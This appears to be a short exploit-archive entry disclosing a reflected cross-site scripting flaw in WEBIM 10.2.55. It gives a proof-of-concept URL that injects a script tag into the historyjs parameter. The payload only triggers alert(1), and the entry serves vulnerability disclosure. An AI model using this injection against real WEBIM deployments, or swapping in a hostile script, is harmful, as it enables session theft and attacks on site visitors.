WEBIM 10.2.55 Cross Site Scripting

2021.03.10

Credit: AsCiI

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

# Exploit Title: XSS in WEBIM <http://WEBIM.RU> web application
# Date: 10.08.2021
# Exploit Author: ASCII
# Vendor Homepage: HTTPS://WEBIM.RU
# Version: 10.2.55
# Tested on: 10.2.55
Webim messanger XSS

POC

https://[location].webim.ru/webim/iframe-sample.php?historyjs=1%27"()%26%25<acx><ScRiPt%20>alert(1)</ScRiPt>&location=test&redirected=0&webim-visitor=2&webimVisitor=1

See this note in RAW Version

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WEBIM 10.2.55 Cross Site Scripting

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